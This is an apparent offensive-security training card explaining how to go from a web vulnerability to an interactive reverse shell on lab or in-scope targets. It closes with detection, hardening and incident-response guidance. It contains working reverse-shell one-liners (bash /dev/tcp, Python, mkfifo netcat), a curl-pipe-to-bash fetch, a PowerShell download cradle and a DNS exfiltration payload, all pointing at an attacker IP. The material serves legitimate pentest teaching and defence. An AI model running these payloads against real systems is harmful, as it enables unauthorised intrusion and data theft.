Skip to content
Pwnversity
WEB-A-SHELLintermediate · 13 min · upd. 2026-11

From Web Vulnerability to Shell

OWASP A05:2025CWE-78T1190T1059

Finding a web vulnerability isn’t the end: on a lab machine or in an in-scope pentest, the goal is usually to execute code on the server and turn that execution into an interactive shell from which to enumerate and escalate. This card is the thread that connects the vulnerabilities leading to RCE with what comes next: how to confirm you’re executing before you have a shell, which payload to pick for the target, how to stabilise the session and what privilege context you land in. The detail of each vulnerability lives in its own card; here we link to it.

flowchart LR
    V["Web vulnerability<br/>(cmdi, upload, LFI, SSTI…)"] --> C["Confirm execution<br/>(sleep, ping, DNS)"]
    C --> P["Pick a payload<br/>(bash, python, PowerShell)"]
    P --> S["Reverse shell<br/>(listener on Kali)"]
    S --> E["Stabilise the TTY"]
    E --> N["Enumerate and escalate"]

An attacker who can run commands through the application acts with the identity of the web process (www-data, apache, IIS APPPOOL\PoolName, a Tomcat service account…). From there they read the source code and its configuration (database credentials, keys, tokens), reach the internal network from the inside and look for a way to escalate to root or SYSTEM. The web server becomes a foothold inside the perimeter.

“Getting a shell” has two parts worth keeping apart:

  1. Code execution: the application runs something you control, even if you can’t see the output.
  2. An interactive channel: a connection you can send commands through and read the output comfortably.
Type Who connects to whom When it works
Reverse shell The server connects to your listener Almost always: firewalls mostly filter inbound, not outbound
Bind shell The server opens a port and you connect Only if nothing filters that inbound port and there’s no NAT in front
Web shell You run commands through HTTP requests Intermediate step: no TTY, no state, and it leaves a file on the server

If a reverse shell doesn’t come back, the most common cause is egress filtering: try listening on 443 or 80, the ports that are almost never blocked outbound.

The most common paths from a web application to code execution:

Path How execution happens Card
Command injection Input ends up in a call to the system shell Command injection
File upload You upload a script (.php, .aspx, .jsp) to a served path and request it File upload
LFI → RCE You include a file you control: a poisoned log, a PHP session, the data:// wrapper (if allow_url_include is on). php://filter reads code as base64 and, with iconv filter chains (PHP filter chains, e.g. php_filter_chain_generator), generates PHP code inside the include(): RCE without allow_url_include LFI
SSTI The injected expression reaches the language runtime SSTI
Deserialisation A tampered object runs code when it’s rebuilt Deserialisation
Panels with code features Tomcat /manager + .war, WordPress theme or plugin editor, Jenkins script console CMS
Leaked credentials .env, .git or a backup gives a password that’s reused for SSH or a panel Content and files

The last row isn’t web RCE, but in practice it’s one of the most frequent paths: a database password that also works for the system user.

Discovery: confirming execution without a shell

Section titled “Discovery: confirming execution without a shell”

Before firing a reverse shell, confirm that you’re executing. If the output isn’t reflected in the response (blind execution), use side channels:

Ventana de terminal
# 1) Timing: if the response takes ~5 s longer, the command ran
# payload in the vulnerable parameter: ;sleep 5 (Windows: & ping -n 6 127.0.0.1)
# 2) ICMP to your machine: listen on the lab VPN interface
sudo tcpdump -i tun0 icmp
# payload: ;ping -c 2 10.10.14.5
# if you see "ICMP echo request" from 10.10.10.20, you have execution and outbound network
# 3) Out-of-band DNS/HTTP (OAST) if ICMP is filtered
interactsh-client
# payload: ;nslookup $(whoami).abc123.oast.fun
# the DNS query arrives with the username inside the subdomain

The ping and the DNS lookup also confirm something important: the server can reach the network, which is what a reverse shell needs.

Check what’s on the target before choosing the payload (which bash nc python3 perl, or where powershell on Windows) and have the listener ready:

Ventana de terminal
# On Kali: listener on a common outbound port
# (on Kali, since 2021.2, any user can listen on ports below 1024; on other distributions you'll need sudo)
nc -lvnp 443

If you’re going to do the full TTY upgrade (below), start the listener without rlwrap: it interferes with stty raw -echo. rlwrap is for shells you won’t stabilise, such as Windows ones.

Classic one-liners (more variants in reverse shells):

Ventana de terminal
# Bash
bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'
# Python 3
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
# Netcat without -e (mkfifo)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.5 443 > /tmp/f

When sent over HTTP, special characters (&, >, spaces, quotes) break. Two ways around it:

Ventana de terminal
# Encode in base64 and decode on the target
echo -n 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1' | base64
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx
# payload: echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx | base64 -d | bash
# URL-encode the final payload (+ → %2B, space → %20, | → %7C): the + in base64 is
# decoded as a space. To avoid the +, add extra spaces to the original command
# until the base64 doesn't produce one.
# Or serve a script and fetch it (fewer characters in the request)
python3 -m http.server 80 # on Kali, with shell.sh in the directory
# payload: curl 10.10.14.5/shell.sh | bash

On Windows, PowerShell accepts the command in Base64 with -EncodedCommand, but encoded as UTF-16LE, not UTF-8:

Ventana de terminal
# On Kali: build the encoded command for PowerShell
echo -n 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.5/rev.ps1")' | iconv -t UTF-16LE | base64 -w0
# payload: powershell -nop -w hidden -enc <string>

A freshly caught reverse shell has no TTY: Ctrl+C kills it, there is no tab completion and sudo or su cannot prompt you for a password. On Linux, python3 -c 'import pty;pty.spawn("/bin/bash")' followed by stty raw -echo; fg in your terminal covers the essentials; on Windows, ConPtyShell. The full sequence, the alternatives without Python and the troubleshooting when the shell never comes back are in reverse shells.

  1. Confirm execution through a side channel (timing, ICMP, DNS).
  2. Check which interpreters exist and whether the server reaches your IP.
  3. Listener on 443 or 80 and a payload encoded for the transport.
  4. Stabilise the TTY.
  5. Check who you are (id, whoami /priv) and read the application’s configuration.
  6. Remove the web shell if you used one and note everything for the report.
  7. Move on to enumeration: Linux or Windows.
  • nc / ncat / rlwrap: basic listener (nc -lvnp 443; rlwrap nc -lvnp 443 for Windows).
  • penelope or pwncat-cs: listeners that stabilise the TTY and handle several sessions.
  • interactsh or Burp Collaborator: out-of-band confirmation.
  • tcpdump: confirm ICMP or inbound connections on tun0.
  • msfvenom: generate payloads for .war, .aspx or binaries when needed.

The shell lands with the web service’s privileges. What pays off first:

  • Application configuration: wp-config.php, .env, web.config, settings.py. Database credentials are often reused for system users.
  • Privilege context: on Linux, www-data rarely has sudo, but it can read code and logs. On Windows, IIS pool and service accounts usually hold SeImpersonatePrivilege, a classic path to SYSTEM (see Windows privilege escalation).
  • Internal network: from the server you reach services you couldn’t see from outside; see pivoting and file transfer.

Next step: Linux enumeration and Linux privilege escalation, or Windows enumeration and Windows privilege escalation.

  • Child processes of the web server: apache2, nginx, php-fpm, w3wp.exe or java spawning sh, bash, cmd.exe, powershell.exe, nc or python. The most reliable sign of RCE.
  • Outbound connections from the web process to external IPs, especially to ports that aren’t known services or to destinations it has never contacted.
  • New or modified files in the webroot, especially with executable extensions (.php, .aspx, .jsp) in upload directories.
  • Requests with payload patterns: base64 -d, /dev/tcp/, -EncodedCommand, mkfifo, $(.

Web server access and error logs, process creation (auditd or Sysmon event 1), per-process network connections (Sysmon event 3), webroot file integrity, outbound DNS and network flows.

  1. Egress filtering: the web server shouldn’t be able to open arbitrary connections to the internet. It breaks most reverse shells and OAST channels.
  2. Least privilege: a service account with no write access to the code and no unnecessary privileges. On IIS the pool identity needs SeImpersonatePrivilege: isolate that account, patch, and watch for Potato-style techniques.
  3. Upload directories without execution: serve them from another domain or with the language engine disabled, and mount them noexec to stop uploaded binaries from running (it doesn’t stop the interpreter from running scripts; for that, disable the language engine on that path).
  4. Disable dangerous functions the application doesn’t need (disable_functions in PHP for system, exec, shell_exec, passthru, proc_open, popen, pcntl_exec). It’s a bypassable blocklist (e.g. putenv + mail with LD_PRELOAD).
  5. Admin panels (Tomcat manager, Jenkins console) without default credentials and not exposed.
  6. WAF and EDR as detection layers, not as a substitute for fixing the vulnerability.

Isolate the server, preserve logs and memory if possible, hunt for web shells and persistence (recent files in the webroot, scheduled tasks, added SSH keys), rotate every credential the process could read and fix the root vulnerability.

  • Apache HTTP Server 2.4.49 — CVE-2021-41773 (2021): path traversal that, with CGI enabled, allowed running commands on the server.
  • Log4Shell — CVE-2021-44228 (2021): JNDI injection in Log4j 2 that gave RCE on Java applications just by logging an attacker-controlled string.
  • Spring4Shell — CVE-2022-22965 (2022): data binding in Spring Framework that allowed writing a web shell on Tomcat and executing code.
  • Tomcat Manager with weak credentials: not a CVE, but deploying a .war from /manager/html is still one of the most common paths on practice machines.

Product-specific CVEs on NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

  • Execution confirmed through a side channel (timing, ICMP or DNS) within scope.
  • Checked which interpreters exist and whether the server reaches the network.
  • Listener on a common outbound port and a payload encoded for HTTP.
  • Shell stabilised (or rlwrap on Windows).
  • Identity and privileges noted (id, whoami /priv).
  • Application configuration reviewed for credentials.
  • Web shell removed and its path recorded for the report.